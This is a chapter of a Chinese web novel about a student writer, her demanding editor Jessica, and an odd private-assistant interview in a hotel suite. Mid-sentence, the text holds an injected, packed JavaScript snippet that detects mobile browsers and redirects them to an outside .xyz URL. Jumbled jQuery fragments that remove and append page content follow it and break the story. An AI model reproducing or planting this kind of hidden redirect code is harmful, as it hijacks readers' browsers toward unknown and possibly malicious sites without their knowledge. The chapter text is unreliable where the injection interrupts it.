ssica一筹莫展,恨恨地想,难道自己的职业生涯要葬送在这个新锐作家的手里?她当时到底是哪根筋搭错了才会笃定陆星铭会继续写新的故事专栏?! 她在心里咒骂着,手指飞快拨动鼠标翻阅通讯录,一目十行地搜寻作家名字,临时找人救场太消耗人情。可眼下没办法了。一行行名字扫过去,她简直要崩溃了——那些作家的拖稿程度远甚于陆星铭,他们为了不交稿编出来的理由匪夷所思,毫无道德底线。 作家A说自己生病了交不了稿; ——得了脚气; 作家B因为亲人生病了没法交稿; ——“亲人”是他养的那只绿毛龟,两天没吃东西,他觉得是胃胀气; 作家C更可恶,电话从来不接,就算接了也是白搭:明明前一秒欢脱得跟春天的猫儿一样,后一秒就“喂……喂……你说什么?我这里信号不好……”。 陆星铭出现后,她几乎认为作家这个群体还是有救的。结果……她怎么会相信这个世界上存在永远不拖稿的作家?!这就好比相信这个世界上总有一个男人永远不会出轨一样。 作为一个资深的恋爱达人,Jessica的座右铭是“永远不要相信男人不会出轨”,这跟她对作家群体所贯彻的原则“永远不要相信作家不会拖稿”,一并构成了她的生存铁律。前者让她不会寄希望于恋爱带来超预期的甜蜜,而后者让她永远有B计划应对作家的拖稿。正是借助这两条铁律,她用三年时间在竞争白热化的《N.Z》升到了高级编辑的职位。 Jessica深深地吸了一口气,告诉自己冷静,抱着一丝微弱的希望,有气无力地敲了鼠标左键刷新自己的邮箱。一封新邮件弹了出来。她几乎不敢相信自己的眼睛,刚刚她甚至打算起草自己的离职报告了。 “我的天!”她尖叫出声,“我收到稿子了!!!” 她用尽全力点击鼠标,好像这样才能确保文档上的文字不会下一秒就消失。点击打印之后,她深深呼出一口气,攥着笔以百米冲刺的速度冲到打印机旁边,一目十行校稿。然后又以同样的速度冲回电脑前,把邮件转发给准备去菲林工厂的同事。接着冲到收件人面前,以临终托孤的姿态告诉她,刚刚发给她的稿子用在陆星洺专栏,千万不能弄错。 一切尘埃落定之后,Jessica坐下来仔细读陆星洺的邮件,发现他提供了一个新的号码,并说他忘记更新自己的电话号码,以前的号码早已弃用。她轻蔑地扯起嘴角,这套花招,在她面前摆弄还太稚嫩了点。可她还是迅速将号码存进了手机,并用这个号码搜索微信联系人。请求发送成功,等待对方通过。Jessica挑了挑眉毛,陆星洺的原号码她曾尝试加微信,提示“该用户不存在”,要么对方没有注册微信号,这个概率微乎其微;要么对方设置了屏蔽搜索,概率50%;要么这是个小号,概率50%。 …… “陆星洺先生,对您及时交稿的行为深表感谢。与此同时,希望您继续保持这份职业操守。” 第二天我打开电脑,弹出的邮件提醒内容如上。典型的大棒胡萝卜政策。我忿恨地嘀咕:搬出老美那一套,吓唬谁呢?我可不是吓大的。可接下来的时间,我脑子里却不停地冒出这句话。 在此之前,我从来没想过专栏作家意味着什么,说实话,我甚至没想过自己能走多远。即使Jessica曾说“你将成为真正的畅销作家”,对我而言仍是模糊的。在自己没有想清楚一件事的意义之前,所有的行动如同无源之水。 脑子里突然涌现出读过的那一条条评论,有一条评论是这样的——喜欢女主在逆境中的独立和勇敢,也心疼她凡事都自己承担。我现在处于人生的低谷,每天都在纠结挣扎,还要不要坚持下去,或者干脆放弃算了。可看到她,我仿佛有了对标。她比我难得多,如果这样她都不放弃,那我为什么不能再多坚持一会儿呢? 我突然意识到我笔下的主人公能够慰藉鼓励读者,我的文字能让人产生力量,哪怕只是一点点。或许我永远成为不了一个伟大的作家,可至少我能成为一个让人看到生活有些光亮的作者,这就够了。 责任与义务相携而行,可此时,我觉得荣誉与压力才是真正的一对儿。 我好奇其他作家是怎么样的,他们平时会做什么,从哪里汲取灵感?怎么样获得写作的素材?是不是阅历丰富,已经在人生的道路上看过无数风景?我读过的书,他们的文字或老辣或冼炼,如青铜铸剑一样藏在剑鞘里时古朴厚重;可一旦出鞘,却能够摧枯拉朽一般直指人心,有剑指苍穹,万物臣服的气势。 而我的作品大体都托生于我的想象,没有人生阅历作为基石,我害怕自己的创作渐渐只限于浮在表面;我的文字,有读者评价轻灵跳脱,像一只在林间跳跃的小鹿,同老练没什么关系。这样的文字,会不会越来越无力,失去光芒? 我需要鲜活的生活给予能量,可生活到底是什么样的?我眼里的生活是大多数人正在经历的生活吗?我的世界和其他人的世界有什么不同?我再一次严肃认真地考虑去体验生活。不过……暂时来说,只限于考虑——毕竟,我连一份正式的实习都没搞定。 算了,我叹气,拿出备用手机(我买了个Iphone新款换了Monica的旧手机),清理使用痕迹。突然,弹出了Jessica的微信好友申请。我受到了惊吓。显然,我在微信注册时忘记开启屏蔽搜素功能了。 犹豫半天,我设置“朋友圈三天可见”后通过了她的申请。反正,我的联系人列表里只有她一个人,就算发朋友圈都不用设置分组。 57.番外:周小西的寒假生活-3 Jessica习惯在下半周催稿。 除夕是周五,我从早晨胆颤心惊到傍晚如释重负,Jessica大概放假了吧。我从没觉得哪个除夕夜如此静谧安宁,没有电话,没有邮件,仿佛陆星洺出现之前的寻常日子。 颤巍巍地用小号点开Jessica的朋友圈,岁月静好,无波无澜。 我其实很早就对编辑的世界充满了好奇,他们是怎么工作的?我猜想,他们每天都在无数不同风格的文字中穿行,像逛百货商店一样,挑挑拣拣:这款看上去还不错,那一堆是什么玩意儿,这个整体还行,细节有些粗糙。或者像厨师挑选食材,太柴的不要,太肥的不要,今天想做一整桌素菜……会不会同一个作者在不同的编辑手里有不同的命运? Jessica倒是给我提供了一个机会,但是她的朋友圈和她的邮箱分裂成两个人。朋友圈里通常晒健康餐,红酒,音乐会,一派CBD精英人士的生活,很美好,只是与工作无关。 接下来的两天,依旧风平浪静,Jessica的朋友圈岿然不动,偶尔出现一两张自然风光,与她平时的风格大相径庭。我放大了那两张照片,充沛的阳光,人烟稀少的沙滩,尽管没有定位,也能看出是在国外,诸如塞班一类的小岛。看来她出国度假了。 可我丝毫不敢放松,再过大半个月又到了新的交稿日,风雨无阻,裹着风暴来临。 我恢复到7点起床,每天照旧码字,把它当作洗脸刷牙的每日必做事项。从年三十到大年初八,无论是走亲戚还是去看外婆,从不间断。努力把码字变成习惯。我爸的一句话启发了我,“当一件事成为习惯,就不用特意坚持。”正如他习惯了大年初三开始工作。 今年大年初三他去了欧洲谈生意,我妈难得没有跟去买买买。她说要在家陪我,我猜是欧洲去了太多次,她已经丧失了新鲜感。我爸非常遗憾得带着秘书Anthony去了。 “小西,你什么时候回学校?”刘小叶在家大概也很无聊,她每天发给我的微信数量已经快从手机屏幕里满溢出来了……几乎从我睁眼到睡觉,微信上不同时间段都有未读消息闪动,手机轻微颤动一下,数量增加一条。如果她在我面前,可能比三千只鸭子都聒噪。既然她不在我身边,我决定原谅她,并对她的消息选择性无视。 “过两天吧。”即使两天是个约数,也改变不了我敷衍她的事实。实际上,我已经回到了W市,住在市中心以豪华著称的JM酒店。我并不是有意想要欺骗她,而是由于一个不得已的意外。 离农历新年还有两天,我接到了一个电话。 “Hello,请问是周小西小姐吗?我是Monster Cone的Vivian,我们收到了你的简历,想跟你沟通下什么时候方便过来面试。” 当时我正躺在床上看刘小叶推荐的泡面番,交完稿后,我堕落了两天。 我立马翻身从床上爬起来,正襟危坐,“对,我是。随时都方便。”我没工作过,可天天在家接受我爸关于职业道德的熏陶:态度真诚积极是能力不足时的必要补充技能。 “周小姐,我们这次招聘的岗位是总经理的私人助理。”那边顿了顿,然后说:“面试地址是JM酒店7618。” 私人助理?我印象中没投过这个职位。可我对Monster Cone有印象。总经理的私人助理跟办公室行政助理大概只是叫法不同吧。不过对我来说,任何职位都没差别,因为我不知道每个职位要干什么。 “不好意思,我没听清,在哪里面试?” “JM酒店7618房间。”那边不带任何感情色彩地重复了一遍。 “在酒店面试吗?”我有点踌躇不安,哪个正经公司会把面试地点放在酒店? “能不能……方不方便……换个地方?” Vivian口气立马变得高傲且不屑,“放心,我们Boss不会对你有任何不轨企图。” 我正揣测难道他们Boss是弯的,对方又说话了,带着莫名其妙的炫耀,“很多女人巴不得能爬上我们Boss的床,但没一个能成功。” 从她的语气中,我听出了华丽的一个大白眼,“你真是想得美!” 沉默。 “周小姐,麻烦你明确告诉我,你愿不愿意来面试?” 我咬了咬牙,觉得不会有人明目张胆地干坏事,“我去面试。” 电话那头像一台冰冷的机器一样,告诉我要带哪些材料,具体面试时间,说晚点会发邮件给我,我还没来得及说谢谢,对方挂断了电话。 我告诉我妈,我得提前回W市参加面试,这可能是我的第一份实习工作,我妈借口为我把关要跟我一起去,实际上她的目的是去W市购物。面试的时间定在大年初九,为了配合我妈的采购计划,我们初七就到了W市,住在JM酒店的72层。我没有告诉我妈,面试就在酒店76层。 我陪她在W市的Cartier和Van Cleef &Arpels扫荡了一圈,然后去最近声名鹊起的新秀珠宝设计师开在康宁路上的店铺,我妈买到了她在杂志上看中的珠宝,我爸要是知道了,肯定很后悔收购《Bouquet Jewel》。 目前《Bouquet Jewel》依然独立负责杂志的运营和销售渠道,但样刊必须经我爸确认才能投放印刷。每周二早晨8点半之前,下一期的样刊由公司助理送到我家,Amanda指导他把样刊放到二楼白色大理石走廊上壁橱的第二格里。 我妈在他们送来第一册样刊时,对我爸提了些意见和建议。接连两次提出的建议被采纳后,我爸问她介不介意接手审阅样刊的工作。其实,我爸对审阅样刊这工作很不耐烦。我妈兴高采烈地同意了。所以杂志没有正式面世前,我妈已经掌握了珠宝时尚的第一手资料,她快狠准地打电话预约,然后直接去珠宝店购买。 这家杂志有两个版面一直为我妈津津乐道,一个是介绍知名珠宝的新款,另一个就是挖掘新秀珠宝设计师。通常被他们挖到的设计师,不出半年就在国际上崭露头角,两年左右就火成当红炸子鸡。我一直觉得这家杂志挺玄乎。 收购《Bouquet Jewel》的大半年内,我妈买了三套成套珠宝、四对耳坠和两条项链。我十分怀疑收购这家杂志带来的盈利是否能抵消掉我妈的支出。 手机上叮的一声,微信宿舍群的消息,还是刘小叶。 ——有人回W市了吗?求陪同。 ——我在办公室做项目书,明天出差。 不用看都知道是凌静宜。我妈探过头看我的微信,她一副恨铁不成钢的表情,“你看看人家,多积极上进。” ——你初高中时期都没朋友吗? ——她们都快开学了。我们还有一个月的假期吧? 铭盛的假期的确比较长,寒假有四十多天。 我赶紧把手机往身后藏,“妈,你怎么偷看人家消息!” “我哪有偷看,明明是正大光明地看。”我妈一副理所当然的样子,“不过,你寒假选择实习,你爸觉得很欣慰。” 我才不管我爸什么想法,他要知道我只是为了体验,大概很失望。 消息刚发出去一秒钟,电话响了。刘小叶的声音振聋发聩冲击着我的耳膜,“啊……你回来了,也不说一声!你在哪儿?我过去找你。我想去逛书店买新漫画,有个网红奶茶开了,我们一起去吧。” “我妈陪我来的,她要去逛街。” “你连一天时间都抽不出来吗?还有很久才开学。” “我明天要去面试,如果面不上就有时间陪你逛街。欧祈没空陪你吗?” “面试?”刘小叶的注意力马上转移了,“你找实习工作还是兼职?要不要我陪你一起去?” “不用了,我得看上去独立一点。”如果让她知道是在酒店面试,还不知道能脑部出什么来。 刘小叶突然问:“小西,你是不是下学期生活费不够啊?我可以请你吃饭。” 我愣了愣,很好,夯实了我贫穷的形象,“有凌静宜在,哪儿轮得上你。” “也对。好无聊啊,欧祈那个实习工作超忙,希望你的工作不要那么忙。” “等我面试上了再说。” 事实上,如果我当时知道Monster Cone是陈东尔的公司,就算有人威胁用最尖利的钢笔刺穿我的喉咙,或者用钢针捅进我的胸口,我都不会去Monster Cone实习。可命运才不管我们到底会掉进怎样的黑洞里,他只管自己爽,就像渣男一样。 我妈终于去逛街了,她的车拐弯不见了,我赶紧转头跑回酒店。一贯利落大气能去屠龙的程女士,这次在酒店里磨蹭了半天,又是挑衣服,又是配首饰,口红颜色换了三种……要不是我对我妈有绝对信心,都要怀疑她不是去逛街,而是去见情人了。 为了表示对本次面试的重视,我特意化了个妆。凌静宜通常十五到二十分钟能化个全妆。我见她画过一次,先涂粉底液,粉饼定妆,画眉毛,打腮红,涂口红,看起来不难。等我上手,蜡笔小新眉,腮红没轻重……本以为最多半小时能搞定,一个小时后,我顶着一张惨不忍睹的脸。化妆也需要天赋,算了,我放弃,去洗手间洗掉了能吓死鬼的妆容。 匆忙冲进电梯,离面试时间还差十分钟。大概来得及吧?正要去按楼层,旁边伸过来一只手,按了76层。我再一次见到了那个冷冰冰的三件套男,他再一次对我无视。他上一次去的好像也是76楼。 不知道哪个熊孩子玩电梯,从2楼到20层,每一层都开门,没人进出。我惴惴不安盯着电梯显示屏,在心里哀嚎,不会迟到吧?!我的确日常自由散漫,可不迟到是我的红线。幸好40楼往上,电梯没再开开关关,液晶显示屏上的数字不断跳动,我的心脏跟着它跳动。58层上来了一个人,在59层下去了。我为之气结,就一层楼,还不如爬楼梯。有等电梯的工夫,爬楼早都到了!!! 好不容易到了76层,只剩下我和三件套了。电梯门一打开我就冲了出去。三件套倒是不紧不慢,悠闲踱出电梯。 我一路向前奔跑,7601,7603;7602,7604……房间号急速向后退去,听见身后刷卡的声音,三件套大概是这里的住客,我提醒自己,这不在我的关心范围内——我马上要迟到了!走廊的尽头是7619和7620。太奇怪了,没有7618! 汗毛直立,这是什么灵异事件?!难道我跑太快,错过了7618?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089960|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调头往回跑,发现在7610和7612中间有一个电梯,我尝试按了电梯,门打开了,里面只有三个按钮,7616、7618和78层。更离谱的是,这三个按钮里,只有78能按,其余两个按了没反应。我只能乘电梯到78层到JM酒店的旋转餐厅,门口的侍应生毕恭毕敬地问:“您是7616还是7618的房客?” “我要找7618,Vivian约我来的。” 他让我等一下,我看他拎起餐台电话,先按9再按7618,询问是否安排了访客。稍后,他送我进电梯,掏出卡刷了电梯,按7618,荧光屏亮了。 我气喘吁吁地按响门铃,一个穿着职业装高跟鞋的年轻女性开的门,她站在门口,语气冷漠,“你迟到了。” 我无比窘迫,面试迟到,印象分没了。不守时是大忌。她用挑剔的眼光望着我,我猜她在寻找更多错处。我在她高高昂起和冷漠的眼神中看到一些不屑。我在心里默默吐槽,谁知道7618是“隐藏客房”?! “老板等你十分钟了。”她转身往里走,我愣了几秒才反应过来,赶紧跟上她。 7618是一间套房,我跟在她身后走过一条长走廊,进到一间宽敞的会客室。会客室中间一张茶几,两张单人沙发,两张相对的三人位沙发。其中一张单人沙发上坐着一个很年轻的男人,埋头看文件。 “老板,人到了。” 他微微颔首,“那就开始吧。” 我看他一眼,竟然是三件套!难怪他要在酒店面试了,我怀疑他在酒店常住,日常在酒店办公。此时,我把他跟变态老板彻底挂上了钩。毕竟哪个正经公司把自己的会客中心放在酒店总统套房啊!! “这次招的岗位是私人助理,主要帮老板处理私人事务。” Vivian看了我一眼,然后像报幕员一般行云流水报出一大堆要求: ——协助管理老板的日程,包括安排预约、会议和差旅; ——安排老板的餐饮,包括三顿正餐,下午茶和宵夜; ——协助老板的个人事务和家庭事务,比如取送老板衣物; ——提供行政支持,比如文件整理归档等工作; ——预测及满足老板的各种需求; ——24小时待机,随传随到。 这……这……他们确定招聘的是私人助理,不是保姆吗?我怀疑,她有一长列的要求列在清单上,光读这个清单就要花十分钟。 模模糊糊的,我觉得事情的走向有点不太对:我想要体验跟现在不同的生活。我现在的生活分为两部分:富二代周小西和穷学生周小西,这两者我都很熟悉了。近距离观察一个类似富二代周小西的总裁生活,对我没有任何帮助。与其观察他,还不如观察我爸。况且眼下这份工作听上去没什么吸引力,我想体验的是办公室打工人的生活。 索然无味,还不如窝在房间里看伍尔芙的《海浪》了。整个寒假,我都被各种乱七八糟的琐事捆绑,阅读时间每天不足一小时,有时候纯粹是看不进去,书翻开了也不过是对着发呆。直到昨天在飞机上才畅快地沉浸阅读。 “我们通过辞藻互相融入了对方。我们的边界模糊不清。我们组成了一个虚幻飘渺的王国。” 我一直被困在文字于我的意义,却忘记单纯享受文字的美好。在神游中,我突然顿悟了:读不进书是因为心不静,而心不静是因为功利心,我想从阅读中获取到写作的法门,忘记了阅读本身足够令人愉悦。 “周小姐,你有什么问题吗?周小姐?周小姐?” 我回过神,“嗯?没有……其实,我不会干活,既不会打扫卫生,也不会做饭。我做不了保姆!” 以Monica和Amanda的标准来说,我肯定是不合格的。 Vivian愣住了,眼神里透出惊愕,她立即调整了情绪,“作为私人助理,最重要的是协助老板安排好所有的事情,让正确的事情在准确的时刻发生。” “你的意思是,我可以安排别人干?”如果只是指挥别人干活,那我应该没问题。 Vivian的表情一言难尽,似乎很想把我的脑袋敲开看看。 “我还要上课,做不到随传随到。”我思索了片刻,“24小时待机也不行,我晚上得睡觉。你们晚上难道都不睡觉吗?” 整个空间突然安静了。 三件套终于抬头看我。他的眼神凌厉,望向我时,他眯起眼睛,似乎在辨认什么。 “面试就到这里吧。”他说。 我想这次面试大概是黄了。倒没觉得多可惜,这么奇葩的要求,这么苛刻的条件,工资才200块一天,万恶的资本家!有人愿意去就奇怪了。 后来我才知道,我投的是行政助理职位,整理简历的实习生搞错了,于是我莫名其妙地被安排来面试私人助理。他们真应该好好检查公司的运行机制,糟糕得仿佛所有事都是实习生干的。 我慢腾腾走回房间,思考下午的安排,是先阅读还是先码字;反正面试黄了,要不要跟刘小叶约明天逛街?要不还是先去吃午餐。 转向酒店西餐厅,远远看见三件套走进去了。 不会以后几天都碰上他吧?!我突然觉得,得早点回宿舍住……